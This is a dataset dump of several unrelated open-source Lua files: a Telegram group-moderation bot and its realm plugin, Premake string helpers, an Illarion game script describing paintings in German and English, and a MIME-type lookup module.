!setowner [id] Will set id as owner !setflood [value] Set [value] as flood sensitivity !stats Simple message statistics !save [value] <text> Save <text> as [value] !get [value] Returns text of [value] !clean [modlist|rules|about] Will clear [modlist|rules|about] and set it to nil !res [username] returns user id "!res @username" !log will return group logs !banlist will return group ban list **U can use both "/" and "!" *Only owner and mods can add bots in group *Only moderators and owner can use kick,ban,unban,newlink,link,setphoto,setname,lock,unlock,set rules,set about and settings commands *Only owner can use res,setowner,promote,demote and log commands ]] } serialize_to_file(config, './data/config.lua') print('saved config into ./data/config.lua') end function on_our_id (id) our_id = id end function on_user_update (user, what) --vardump (user) end function on_chat_update (chat, what) end function on_secret_chat_update (schat, what) --vardump (schat) end function on_get_difference_end () end -- Enable plugins in config.json function load_plugins() for k, v in pairs(_config.enabled_plugins) do print("Loading plugin", v) local ok, err = pcall(function() local t = loadfile("plugins/"..v..'.lua')() plugins[v] = t end) if not ok then print('\27[31mError loading plugin '..v..'\27[39m') print('\27[31m'..err..'\27[39m') end end end -- custom add function load_data(filename) local f = io.open(filename) if not f then return {} end local s = f:read('*all') f:close() local data = JSON.decode(s) return data end function save_data(filename, data) local s = JSON.encode(data) local f = io.open(filename, 'w') f:write(s) f:close() end -- Call and postpone execution for cron plugins function cron_plugins() for name, plugin in pairs(plugins) do -- Only plugins with cron function if plugin.cron ~= nil then plugin.cron() end end -- Called again in 2 mins postpone (cron_plugins, false, 120) end -- Start and load values our_id = 0 now = os.time() math.randomseed(now) started = false
gpl-2.0
soundsrc/premake-core
src/base/string.lua
16
1838
-- -- string.lua -- Additions to Lua's built-in string functions. -- Copyright (c) 2002-2013 Jason Perkins and the Premake project -- -- -- Capitalize the first letter of the string. -- function string.capitalized(self) return self:gsub("^%l", string.upper) end -- -- Returns true if the string has a match for the plain specified pattern -- function string.contains(s, match) return string.find(s, match, 1, true) ~= nil end -- -- Returns an array of strings, each of which is a substring of s -- formed by splitting on boundaries formed by `pattern`. -- function string.explode(s, pattern, plain, maxTokens) if (pattern == '') then return false end local pos = 0 local arr = { } for st,sp in function() return s:find(pattern, pos, plain) end do table.insert(arr, s:sub(pos, st-1)) pos = sp + 1 if maxTokens ~= nil and maxTokens > 0 then maxTokens = maxTokens - 1 if maxTokens == 0 then break end end end table.insert(arr, s:sub(pos)) return arr end -- -- Find the last instance of a pattern in a string. -- function string.findlast(s, pattern, plain) local curr = 0 repeat local next = s:find(pattern, curr + 1, plain) if (next) then curr = next end until (not next) if (curr > 0) then return curr end end -- -- Returns the number of lines of text contained by the string. -- function string.lines(s) local trailing, n = s:gsub('.-\n', '') if #trailing > 0 then n = n + 1 end return n end --- -- Return a plural version of a string. --- function string:plural() if self:endswith("y") then return self:sub(1, #self - 1) .. "ies" else return self .. "s" end end --- -- Returns the string escaped for Lua patterns. --- function string.escapepattern(s) return s:gsub("[%(%)%.%%%+%-%*%?%[%]%^%$]", "%%%0") end
bsd-3-clause
darya7476/Dimon
plugins/inrealm.lua
18
24954
-- data saved to moderation.json -- check moderation plugin do local function create_group(msg) -- superuser and admins only (because sudo are always has privilege) if is_sudo(msg) or is_realm(msg) and is_admin(msg) then local group_creator = msg.from.print_name create_group_chat (group_creator, group_name, ok_cb, false) return 'Group [ '..string.gsub(group_name, '_', ' ')..' ] has been created.' end end local function create_realm(msg) -- superuser and admins only (because sudo are always has privilege) if is_sudo(msg) or is_realm(msg) and is_admin(msg) then local group_creator = msg.from.print_name create_group_chat (group_creator, group_name, ok_cb, false) return 'Realm [ '..string.gsub(group_name, '_', ' ')..' ] has been created.' end end local function killchat(cb_extra, success, result) local receiver = cb_extra.receiver local chat_id = "chat#id"..result.id local chatname = result.print_name for k,v in pairs(result.members) do kick_user_any(v.id, result.id) end end local function killrealm(cb_extra, success, result) local receiver = cb_extra.receiver local chat_id = "chat#id"..result.id local chatname = result.print_name for k,v in pairs(result.members) do kick_user_any(v.id, result.id) end end local function get_group_type(msg) local data = load_data(_config.moderation.data) if data[tostring(msg.to.id)] then if not data[tostring(msg.to.id)]['group_type'] then return 'No group type available.' end local group_type = data[tostring(msg.to.id)]['group_type'] return group_type else return 'Chat type not found.' end end local function callbackres(extra, success, result) --vardump(result) local user = result.id local name = string.gsub(result.print_name, "_", " ") local chat = 'chat#id'..extra.chatid send_large_msg(chat, user..'\n'..name) return user end local function set_description(msg, data, target, about) if not is_admin(msg) then return "For admins only!" end local data_cat = 'description' data[tostring(target)][data_cat] = about save_data(_config.moderation.data, data) return 'Set group description to:\n'..about end local function set_rules(msg, data, target) if not is_admin(msg) then return "For admins only!" end local data_cat = 'rules' data[tostring(target)][data_cat] = rules save_data(_config.moderation.data, data) return 'Set group rules to:\n'..rules end -- lock/unlock group name. bot automatically change group name when locked local function lock_group_name(msg, data, target) if not is_admin(msg) then return "For admins only!" end local group_name_set = data[tostring(target)]['settings']['set_name'] local group_name_lock = data[tostring(target)]['settings']['lock_name'] if group_name_lock == 'yes' then return 'Group name is already locked' else data[tostring(target)]['settings']['lock_name'] = 'yes' save_data(_config.moderation.data, data) rename_chat('chat#id'..target, group_name_set, ok_cb, false) return 'Group name has been locked' end end local function unlock_group_name(msg, data, target) if not is_admin(msg) then return "For admins only!" end local group_name_set = data[tostring(target)]['settings']['set_name'] local group_name_lock = data[tostring(target)]['settings']['lock_name'] if group_name_lock == 'no' then return 'Group name is already unlocked' else data[tostring(target)]['settings']['lock_name'] = 'no' save_data(_config.moderation.data, data) return 'Group name has been unlocked' end end --lock/unlock group member. bot automatically kick new added user when locked local function lock_group_member(msg, data, target) if not is_admin(msg) then return "For admins only!" end local group_member_lock = data[tostring(target)]['settings']['lock_member'] if group_member_lock == 'yes' then return 'Group members are already locked' else data[tostring(target)]['settings']['lock_member'] = 'yes' save_data(_config.moderation.data, data) end return 'Group members has been locked' end local function unlock_group_member(msg, data, target) if not is_admin(msg) then return "For admins only!" end local group_member_lock = data[tostring(target)]['settings']['lock_member'] if group_member_lock == 'no' then return 'Group members are not locked' else data[tostring(target)]['settings']['lock_member'] = 'no' save_data(_config.moderation.data, data) return 'Group members has been unlocked' end end --lock/unlock group photo. bot automatically keep group photo when locked local function lock_group_photo(msg, data, target) if not is_admin(msg) then return "For admins only!" end local group_photo_lock = data[tostring(target)]['settings']['lock_photo'] if group_photo_lock == 'yes' then return 'Group photo is already locked' else data[tostring(target)]['settings']['set_photo'] = 'waiting' save_data(_config.moderation.data, data) end return 'Please send me the group photo now' end local function unlock_group_photo(msg, data, target) if not is_admin(msg) then return "For admins only!" end local group_photo_lock = data[tostring(target)]['settings']['lock_photo'] if group_photo_lock == 'no' then return 'Group photo is not locked' else data[tostring(target)]['settings']['lock_photo'] = 'no' save_data(_config.moderation.data, data) return 'Group photo has been unlocked' end end local function lock_group_flood(msg, data, target) if not is_admin(msg) then return "For admins only!" end local group_flood_lock = data[tostring(target)]['settings']['flood'] if group_flood_lock == 'yes' then return 'Group flood is locked' else data[tostring(target)]['settings']['flood'] = 'yes' save_data(_config.moderation.data, data) return 'Group flood has been locked' end end local function unlock_group_flood(msg, data, target) if not is_admin(msg) then return "For admins only!" end local group_flood_lock = data[tostring(target)]['settings']['flood'] if group_flood_lock == 'no' then return 'Group flood is not locked' else data[tostring(target)]['settings']['flood'] = 'no' save_data(_config.moderation.data, data) return 'Group flood has been unlocked' end end -- show group settings local function show_group_settings(msg, data, target) local data = load_data(_config.moderation.data, data) if not is_admin(msg) then return "For admins only!" end local settings = data[tostring(target)]['settings'] local text = "Group settings:\nLock group name : "..settings.lock_name.."\nLock group photo : "..settings.lock_photo.."\nLock group member : "..settings.lock_member return text end local function returnids(cb_extra, success, result) local receiver = cb_extra.receiver local chat_id = "chat#id"..result.id local chatname = result.print_name local text = 'Users in '..string.gsub(chatname,"_"," ")..' ('..result.id..'):'..'\n'..'' for k,v in pairs(result.members) do local username = "" text = text .. "- " .. string.gsub(v.print_name,"_"," ") .. " (" .. v.id .. ") \n" end send_large_msg(receiver, text) local file = io.open("./groups/lists/"..result.id.."memberlist.txt", "w") file:write(text) file:flush() file:close() end local function returnidsfile(cb_extra, success, result) local receiver = cb_extra.receiver local chat_id = "chat#id"..result.id local chatname = result.print_name local text = 'Users in '..string.gsub(chatname,"_"," ")..' ('..result.id..'):'..'\n'..'' for k,v in pairs(result.members) do local username = "" text = text .. "- " .. string.gsub(v.print_name,"_"," ") .. " (" .. v.id .. ") \n" end local file = io.open("./groups/lists/"..result.id.."memberlist.txt", "w") file:write(text) file:flush() file:close() send_document("chat#id"..result.id,"./groups/lists/"..result.id.."memberlist.txt", ok_cb, false) end local function admin_promote(msg, admin_id) if not is_sudo(msg) then return "Access denied!" end local admins = 'admins' if not data[tostring(admins)] then data[tostring(admins)] = {} save_data(_config.moderation.data, data) end if data[tostring(admins)][tostring(admin_id)] then return admin_name..' is already an admin.' end data[tostring(admins)][tostring(admin_id)] = admin_id save_data(_config.moderation.data, data) return admin_id..' has been promoted as admin.' end local function admin_demote(msg, admin_id) if not is_sudo(msg) then return "Access denied!" end local data = load_data(_config.moderation.data) local admins = 'admins' if not data[tostring(admins)] then data[tostring(admins)] = {} save_data(_config.moderation.data, data) end if not data[tostring(admins)][tostring(admin_id)] then return admin_id..' is not an admin.' end data[tostring(admins)][tostring(admin_id)] = nil save_data(_config.moderation.data, data) return admin_id..' has been demoted from admin.' end local function admin_list(msg) local data = load_data(_config.moderation.data) local admins = 'admins' if not data[tostring(admins)] then data[tostring(admins)] = {} save_data(_config.moderation.data, data) end local message = 'List for Realm admins:\n' for k,v in pairs(data[tostring(admins)]) do message = message .. '- (at)' .. v .. ' [' .. k .. '] ' ..'\n' end return message end local function groups_list(msg) local data = load_data(_config.moderation.data) local groups = 'groups' if not data[tostring(groups)] then return 'No groups at the moment' end local message = 'List of groups:\n' for k,v in pairs(data[tostring(groups)]) do local settings = data[tostring(v)]['settings'] for m,n in pairs(settings) do if m == 'set_name' then name = n end end local group_owner = "No owner" if data[tostring(v)]['set_owner'] then group_owner = tostring(data[tostring(v)]['set_owner']) end local group_link = "No link" if data[tostring(v)]['settings']['set_link'] then group_link = data[tostring(v)]['settings']['set_link'] end message = message .. '- '.. name .. ' (' .. v .. ') ['..group_owner..'] \n {'..group_link.."}\n" end local file = io.open("./groups/lists/groups.txt", "w") file:write(message) file:flush() file:close() return message end local function realms_list(msg) local data = load_data(_config.moderation.data) local realms = 'realms' if not data[tostring(realms)] then return 'No Realms at the moment' end local message = 'List of Realms:\n' for k,v in pairs(data[tostring(realms)]) do local settings = data[tostring(v)]['settings'] for m,n in pairs(settings) do if m == 'set_name' then name = n end end local group_owner = "No owner" if data[tostring(v)]['admins_in'] then group_owner = tostring(data[tostring(v)]['admins_in']) end local group_link = "No link" if data[tostring(v)]['settings']['set_link'] then group_link = data[tostring(v)]['settings']['set_link'] end message = message .. '- '.. name .. ' (' .. v .. ') ['..group_owner..'] \n {'..group_link.."}\n" end local file = io.open("./groups/lists/realms.txt", "w") file:write(message) file:flush() file:close() return message end local function admin_user_promote(receiver, member_username, member_id) local data = load_data(_config.moderation.data) if not data['admins'] then data['admins'] = {} save_data(_config.moderation.data, data) end if data['admins'][tostring(member_id)] then return send_large_msg(receiver, member_username..' is already as admin.') end data['admins'][tostring(member_id)] = member_username save_data(_config.moderation.data, data) return send_large_msg(receiver, '@'..member_username..' has been promoted as admin.') end local function admin_user_demote(receiver, member_username, member_id) local data = load_data(_config.moderation.data) if not data['admins'] then data['admins'] = {} save_data(_config.moderation.data, data) end if not data['admins'][tostring(member_id)] then return send_large_msg(receiver, member_username..' is not an admin.') end data['admins'][tostring(member_id)] = nil save_data(_config.moderation.data, data) return send_large_msg(receiver, 'Admin '..member_username..' has been demoted.') end local function username_id(cb_extra, success, result) local mod_cmd = cb_extra.mod_cmd local receiver = cb_extra.receiver local member = cb_extra.member local text = 'No user @'..member..' in this group.' for k,v in pairs(result.members) do vusername = v.username if vusername == member then member_username = member member_id = v.id if mod_cmd == 'addadmin' then return admin_user_promote(receiver, member_username, member_id) elseif mod_cmd == 'removeadmin' then return admin_user_demote(receiver, member_username, member_id) end end end send_large_msg(receiver, text) end local function set_log_group(msg) if not is_admin(msg) then return end local log_group = data[tostring(groups)][tostring(msg.to.id)]['log_group'] if log_group == 'yes' then return 'Log group is already set' else data[tostring(groups)][tostring(msg.to.id)]['log_group'] = 'yes' save_data(_config.moderation.data, data) return 'Log group has been set' end end local function unset_log_group(msg) if not is_admin(msg) then return end local log_group = data[tostring(groups)][tostring(msg.to.id)]['log_group'] if log_group == 'no' then return 'Log group is already disabled' else data[tostring(groups)][tostring(msg.to.id)]['log_group'] = 'no' save_data(_config.moderation.data, data) return 'log group has been disabled' end end local function help() local help_text = tostring(_config.help_text_realm) return help_text end function run(msg, matches) --vardump(msg) local name_log = user_print_name(msg.from) if matches[1] == 'log' and is_owner(msg) then savelog(msg.to.id, "log file created by owner") send_document("chat#id"..msg.to.id,"./groups/"..msg.to.id.."log.txt", ok_cb, false) end if matches[1] == 'who' and is_momod(msg) then local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] requested member list ") local receiver = get_receiver(msg) chat_info(receiver, returnidsfile, {receiver=receiver}) end if matches[1] == 'wholist' and is_momod(msg) then local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] requested member list in a file") local receiver = get_receiver(msg) chat_info(receiver, returnids, {receiver=receiver}) end if matches[1] == 'ساخت گروه' and matches[2] then group_name = matches[2] group_type = 'group' return create_group(msg) end if not is_sudo(msg) or not is_admin(msg) and not is_realm(msg) then return --Do nothing end if matches[1] == 'ساخت ریلیم' and matches[2] then group_name = matches[2] group_type = 'realm' return create_realm(msg) end local data = load_data(_config.moderation.data) local receiver = get_receiver(msg) if matches[2] then if data[tostring(matches[2])] then local settings = data[tostring(matches[2])]['settings'] if matches[1] == 'setabout' and matches[2] then local target = matches[2] local about = matches[3] return set_description(msg, data, target, about) end if matches[1] == 'setrules' then rules = matches[3] local target = matches[2] return set_rules(msg, data, target) end if matches[1] == 'lock' then --group lock * local target = matches[2] if matches[3] == 'name' then return lock_group_name(msg, data, target) end if matches[3] == 'member' then return lock_group_member(msg, data, target) end if matches[3] == 'photo' then return lock_group_photo(msg, data, target) end if matches[3] == 'flood' then return lock_group_flood(msg, data, target) end end if matches[1] == 'unlock' then --group unlock * local target = matches[2] if matches[3] == 'name' then return unlock_group_name(msg, data, target) end if matches[3] == 'member' then return unlock_group_member(msg, data, target) end if matches[3] == 'photo' then return unlock_group_photo(msg, data, target) end if matches[3] == 'flood' then return unlock_group_flood(msg, data, target) end end if matches[1] == 'settings' and data[tostring(matches[2])]['settings'] then local target = matches[2] return show_group_settings(msg, data, target) end if matches[1] == 'setname' and is_realm(msg) then local new_name = string.gsub(matches[2], '_', ' ') data[tostring(msg.to.id)]['settings']['set_name'] = new_name save_data(_config.moderation.data, data) local group_name_set = data[tostring(msg.to.id)]['settings']['set_name'] local to_rename = 'chat#id'..msg.to.id rename_chat(to_rename, group_name_set, ok_cb, false) savelog(msg.to.id, "Realm { "..msg.to.print_name.." } name changed to [ "..new_name.." ] by "..name_log.." ["..msg.from.id.."]") end if matches[1] == 'setgpname' and is_admin(msg) then local new_name = string.gsub(matches[3], '_', ' ') data[tostring(matches[2])]['settings']['set_name'] = new_name save_data(_config.moderation.data, data) local group_name_set = data[tostring(matches[2])]['settings']['set_name'] local to_rename = 'chat#id'..matches[2] rename_chat(to_rename, group_name_set, ok_cb, false) savelog(msg.to.id, "Group { "..msg.to.print_name.." } name changed to [ "..new_name.." ] by "..name_log.." ["..msg.from.id.."]") end end end if matches[1] == 'help' and is_realm(msg) then savelog(msg.to.id, name_log.." ["..msg.from.id.."] Used /help") return help() end if matches[1] == 'set' then if matches[2] == 'loggroup' then savelog(msg.to.id, name_log.." ["..msg.from.id.."] set as log group") return set_log_group(msg) end end if matches[1] == 'kill' and matches[2] == 'chat' then if not is_admin(msg) then return nil end if is_realm(msg) then local receiver = 'chat#id'..matches[3] return modrem(msg), print("Closing Group: "..receiver), chat_info(receiver, killchat, {receiver=receiver}) else return 'Error: Group '..matches[3]..' not found' end end if matches[1] == 'kill' and matches[2] == 'realm' then if not is_admin(msg) then return nil end if is_realm(msg) then local receiver = 'chat#id'..matches[3] return realmrem(msg), print("Closing realm: "..receiver), chat_info(receiver, killrealm, {receiver=receiver}) else return 'Error: Realm '..matches[3]..' not found' end end if matches[1] == 'chat_add_user' then if not msg.service then return "Are you trying to troll me?" end local user = 'user#id'..msg.action.user.id local chat = 'chat#id'..msg.to.id if not is_admin(msg) then chat_del_user(chat, user, ok_cb, true) end end if matches[1] == 'addadmin' then if string.match(matches[2], '^%d+$') then local admin_id = matches[2] print("user "..admin_id.." has been promoted as admin") return admin_promote(msg, admin_id) else local member = string.gsub(matches[2], "@", "") local mod_cmd = "addadmin" chat_info(receiver, username_id, {mod_cmd= mod_cmd, receiver=receiver, member=member}) end end if matches[1] == 'removeadmin' then if string.match(matches[2], '^%d+$') then local admin_id = matches[2] print("user "..admin_id.." has been demoted") return admin_demote(msg, admin_id) else local member = string.gsub(matches[2], "@", "") local mod_cmd = "removeadmin" chat_info(receiver, username_id, {mod_cmd= mod_cmd, receiver=receiver, member=member}) end end if matches[1] == 'type'then local group_type = get_group_type(msg) return group_type end if matches[1] == 'list' and matches[2] == 'admins' then return admin_list(msg) end if matches[1] == 'list' and matches[2] == 'groups' then if msg.to.type == 'chat' then groups_list(msg) send_document("chat#id"..msg.to.id, "./groups/lists/groups.txt", ok_cb, false) return "Group list created" --group_list(msg) elseif msg.to.type == 'user' then groups_list(msg) send_document("user#id"..msg.from.id, "./groups/lists/groups.txt", ok_cb, false) return "Group list created" --group_list(msg) end end if matches[1] == 'list' and matches[2] == 'realms' then if msg.to.type == 'chat' then realms_list(msg) send_document("chat#id"..msg.to.id, "./groups/lists/realms.txt", ok_cb, false) return "Realms list created" --realms_list(msg) elseif msg.to.type == 'user' then realms_list(msg) send_document("user#id"..msg.from.id, "./groups/lists/realms.txt", ok_cb, false) return "Realms list created" --realms_list(msg) end end if matches[1] == 'res' and is_momod(msg) then local cbres_extra = { chatid = msg.to.id } local username = matches[2] local username = username:gsub("@","") savelog(msg.to.id, name_log.." ["..msg.from.id.."] Used /res "..username) return res_user(username, callbackres, cbres_extra) end end return { patterns = { "^(ساخت گروه) (.*)$", "^(ساخت ریلیم) (.*)$", "^(setabout) (%d+) (.*)$", "^(setrules) (%d+) (.*)$", "^(setname) (.*)$", "^(setgpname) (%d+) (.*)$", "^(setname) (%d+) (.*)$", "^(lock) (%d+) (.*)$", "^(unlock) (%d+) (.*)$", "^(setting) (%d+)$", "^(wholist)$", "^(who)$", "^(type)$", "^(kill) (chat) (%d+)$", "^(kill) (realm) (%d+)$", "^(addadmin) (.*)$", -- sudoers only "^(removeadmin) (.*)$", -- sudoers only "^(list) (.*)$", "^(log)$", "^(help)$", "^!!tgservice (.+)$", }, run = run } end
gpl-2.0
LaFamiglia/Illarion-Content
item/paintings.lua
1
8157
--[[ Illarion Server This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. ]] local common = require("base.common") local lookat = require("base.lookat") local M = {} -- UPDATE items SET itm_script='item.paintings' WHERE itm_id IN (264, 265, 748, 749, 750, 751, 1914, 1915); PaintingListGerman = { "Das Gemälde zeigt eine Waldlichtung mit einem Schrein, voller Tiere und Feen.", "Das Gemälde zeigt einen jungen Mann beim Experimentieren mit der Alchemie.", "Das Gemälde zeigt den weiten Ozean, rasende Wellen und ein Sturm breiten sich dort aus.", "Das Gemälde zeigt das Abbild eines Halblings bei der Gartenarbeit.", "Das Gemälde zeigt wie Halblinge bei einem Fest zusammen lachen und tanzen.", "Das Gemälde zeigt eine Frau die ihren Körper mit Seidentüchern verdeckt.", "Das Gemälde zeigt eine Gruppe von Musikern auf einem belebtem Marktplatz.", "Das Gemälde zeigt einen alten Mann mit Wanderstock den Wald entlang gehen, der nach Kräutern Ausschau hält.", "Das Gemälde zeigt eine nackte Elfe in einer Muschel." , "Das Gemälde zeigt eine Elfe alleine den Strand entlang gehend.", "Das Gemälde zeigt ein Panorama einer großen Festung.", "Das Gemälde zeigt ein Panorama einer alten, zerstörten Brücke.", "Das Gemälde zeigt einen Elfen, der seinen Bogen schussbereit gespannt hat.", "Das Gemälde zeigt ein verschwommenes, nicht identifizierbares Bild.", "Das Gemälde zeigt einen Herzog auf seinem Thron, um ihm sein Gefolge.", "Das Gemälde zeigt einen Taschendieb, der sich während eines Festes an die Habseligkeiten anderer hermacht.", "Das Gemälde zeigt eine nackte Elfenfrau, umhüllt mit Sträuchern und Blättern des Waldes.", "Das Gemälde zeigt einen zersausten Propheten, der von einer Menschenmenge umgeben ist.", "Das Gemälde zeigt eine blutige Schlacht zwischen Orks und Menschen.", "Das Gemälde zeigt zwei Orks beim Zweikampf um ein Orkweibchen.", "Das Gemälde zeigt einen Orkschamanen beim Zubereiten eines geheimnissvolllen Trankes.", "Das Gemälde zeigt eine Schatzkammer voller Juwelen und Gold, eine Ratte schleicht sich durch ein Loch herein.", "Das Gemälde zeigt einen Magier der einen Feuerball zu dir wirft.", "Das Gemälde zeigt einen Gelehrten beim durchstöbern einer Bibiliothek.", "Das Gemälde zeigt eine Horde Untote aus ihrem ewigen Schlaf auferstehen, ein gebrechlicher Nekromant steht in der Mitte mit einer befehlenden Geste.", "Das Gemälde zeigt eine Halblingsdame beim Angeln, der Fisch wehrt sich gewaltig und die Halblingsdame setzt eine große Kraft ein.", "Das Gemälde zeigt die Landkarte Gobaiths.", "Das Gemälde zeigt die Landkarte Illarions.", "Das Gemälde zeigt eine alte zerschlissene Karte.", "Das Gemälde zeigt einen betrunkenen, dickbäuchigen Mann beim Philosophieren. Ein Passant wirft ihm eine Münze zu.", "Das Gemälde zeigt einen vernarbten Ork, der dich grimmig ansieht.", "Das Gemälde zeigt eine Gruppe von Orks beim Feiern des Radosh.", "Das Gemälde zeigt einen Zwergen, der nach langem Graben einen Edelstein entdeckt hat, ungläubig starrt er ihn an.", "Das Gemälde zeigt eine Zwergenfrau, beim Schmieden einer Axt.", "Das Gemälde zeigt eine Gruppe von Zwergen beim Wetttrinken.", "Das Gemälde zeigt einen Zwergen der einen Rubin begutachtet, ein anderer Zwerg scheint auf eine Antwort zu warten und wedelt bereits mit einem kleinem Beutel.", "Das Gemälde zeigt ein Panorama einer alten Ruine.", "Das Gemälde zeigt des Nachts eine Gruppe von Goblins, die in deine Richtung starren.", "Das Gemälde zeigt wie ein Goblin in Gynk mit einem Menschen verhandelt.", "Das Gemälde zeigt wie zwei Gnome an einem großem Konstrukt arbeiten, du erkennst nicht, was es darstellen soll.", "Das Gemälde zeigt ein verlaufenes Bild, es scheint so, als ob eine Fee zentriert im Bild wäre.", "Das Gemälde zeigt wie ein Elf in den Wald hineinstarrt, du erkennst, dass sich im Wald etwas versteckt, das Ausschau nach dem Elfen hält.", "Das Gemälde zeigt wie eine Echse aus dem Wasser auftaucht." }; PaintingListEnglish = { "The painting shows a clearing with a shrine that's full of animals and fairies.", "The painting shows a young man, experimenting with alchemy.", "The painting shows a wide ocean, wild waves and a storm are spreading everywhere.", "The painting shows a picture of an halfling, working in the garden.", "The painting shows halflings laughing and dancing together at a party.", "The painting shows a woman who covers her body in silk cloth." , "The painting shows a group of musicians on a lively marketplace." , "The painting shows an old man with a walking cane going through the forest, looking out for herbs.", "The painting shows a naked elfess in a shell." , "The painting shows a lonely elfess walking along the beach." , "The painting shows the panorama of a great fortress." , "The painting shows the panorama of an old, destroyed bridge." , "The painting shows an elf with his bow ready to shoot." , "The painting shows a blurred picture, which you can't seem to identify." , "The painting shows a duke sitting on his throne, surrounded by his retinue." , "The painting shows a pickpocket on a festival, who pounces on the belongings of others." , "The painting shows a naked elfess surrounded by bushes and leaves from the forest." , "The painting shows a dishevelled prophet surrounded by a crowd of humans." , "The painting shows a bloody battle between orcs and humans." , "The painting shows two orcs fighting a duel for an orcess." , "The painting shows an orc shaman, brewing a mysterious potion." , "The painting shows a treasury filled with jewels and gold, and a rat which sneaks through a hole." , "The painting shows a mage, throwing a fireball at you." , "The painting shows a scholar, ransacking a library." , "The painting shows a horde of undead raising from their eternal sleep; A fragile necromancer is standing in the middle with commanding gesture." , "The painting shows a fishing halfling woman. She has big trouble to cope with the struggling fish." , "The painting shows a map of Gobaith." , "The painting shows a map of Illarion." , "The painting shows an old, tattered map." , "The painting shows a drunk, paunchy man whilst he is philosophising. A passerby throws a coin to him." , "The painting shows a scarred orc who looks grimly at you." , "The painting shows a group of orcs celebrating Radosh." , "The painting shows a dwarf who has found a gem after a long period of mining - He gazes at it in disbelieve." , "The painting shows a female dwarf, forging an axe." , "The painting shows a group of dwarves in a drinking contest." , "The painting shows a dwarf examining a ruby. Another dwarf seems to wait for an answer and waggles with a pouch." , "The painting shows the panorama of an ancient ruin." , "The painting shows a group of Goblins at night, staring at you.", "The painting shows a Goblin negotiating with a human in Gynk." , "The painting shows two Gnomes working on a big construct, you are not able to make out what it could be." , "The painting shows a smeared painting. It appears as if a fairy is placed in the middle of the picture." , "The painting shows an elf who stares into the forest and you recognize that something is hiding and lurking inside." , "The painting shows a lizard coming up from the water.", }; function M.LookAtItem(User, Item) local lookAt = lookat.GenerateLookAt(User, Item) if lookAt.description == "" then local val = ((Item.pos.x + Item.pos.y + Item.pos.z) % #PaintingListGerman)+1; lookAt.description = common.GetNLS(User, PaintingListGerman[val], PaintingListEnglish[val]) end return lookAt end return M
agpl-3.0
yanarsin/cnnbot
libs/mimetype.lua
3662
2922
-- Thanks to https://github.com/catwell/lua-toolbox/blob/master/mime.types do local mimetype = {} -- TODO: Add more? local types = { ["text/html"] = "html", ["text/css"] = "css", ["text/xml"] = "xml", ["image/gif"] = "gif", ["image/jpeg"] = "jpg", ["application/x-javascript"] = "js", ["application/atom+xml"] = "atom", ["application/rss+xml"] = "rss", ["text/mathml"] = "mml", ["text/plain"] = "txt", ["text/vnd.sun.j2me.app-descriptor"] = "jad", ["text/vnd.wap.wml"] = "wml", ["text/x-component"] = "htc", ["image/png"] = "png", ["image/tiff"] = "tiff", ["image/vnd.wap.wbmp"] = "wbmp", ["image/x-icon"] = "ico", ["image/x-jng"] = "jng", ["image/x-ms-bmp"] = "bmp", ["image/svg+xml"] = "svg", ["image/webp"] = "webp", ["application/java-archive"] = "jar", ["application/mac-binhex40"] = "hqx", ["application/msword"] = "doc", ["application/pdf"] = "pdf", ["application/postscript"] = "ps", ["application/rtf"] = "rtf", ["application/vnd.ms-excel"] = "xls", ["application/vnd.ms-powerpoint"] = "ppt", ["application/vnd.wap.wmlc"] = "wmlc", ["application/vnd.google-earth.kml+xml"] = "kml", ["application/vnd.google-earth.kmz"] = "kmz", ["application/x-7z-compressed"] = "7z", ["application/x-cocoa"] = "cco", ["application/x-java-archive-diff"] = "jardiff", ["application/x-java-jnlp-file"] = "jnlp", ["application/x-makeself"] = "run", ["application/x-perl"] = "pl", ["application/x-pilot"] = "prc", ["application/x-rar-compressed"] = "rar", ["application/x-redhat-package-manager"] = "rpm", ["application/x-sea"] = "sea", ["application/x-shockwave-flash"] = "swf", ["application/x-stuffit"] = "sit", ["application/x-tcl"] = "tcl", ["application/x-x509-ca-cert"] = "crt", ["application/x-xpinstall"] = "xpi", ["application/xhtml+xml"] = "xhtml", ["application/zip"] = "zip", ["application/octet-stream"] = "bin", ["audio/midi"] = "mid", ["audio/mpeg"] = "mp3", ["audio/ogg"] = "ogg", ["audio/x-m4a"] = "m4a", ["audio/x-realaudio"] = "ra", ["video/3gpp"] = "3gpp", ["video/mp4"] = "mp4", ["video/mpeg"] = "mpeg", ["video/quicktime"] = "mov", ["video/webm"] = "webm", ["video/x-flv"] = "flv", ["video/x-m4v"] = "m4v", ["video/x-mng"] = "mng", ["video/x-ms-asf"] = "asf", ["video/x-ms-wmv"] = "wmv", ["video/x-msvideo"] = "avi" } -- Returns the common file extension from a content-type function mimetype.get_mime_extension(content_type) return types[content_type] end -- Returns the mimetype and subtype function mimetype.get_content_type(extension) for k,v in pairs(types) do if v == extension then return k end end end -- Returns the mimetype without the subtype function mimetype.get_content_type_no_sub(extension) for k,v in pairs(types) do if v == extension then -- Before / return k:match('([%w-]+)/') end end end return mimetype end
gpl-2.0
ArianWatch/SportTG
libs/mimetype.lua
3662
2922
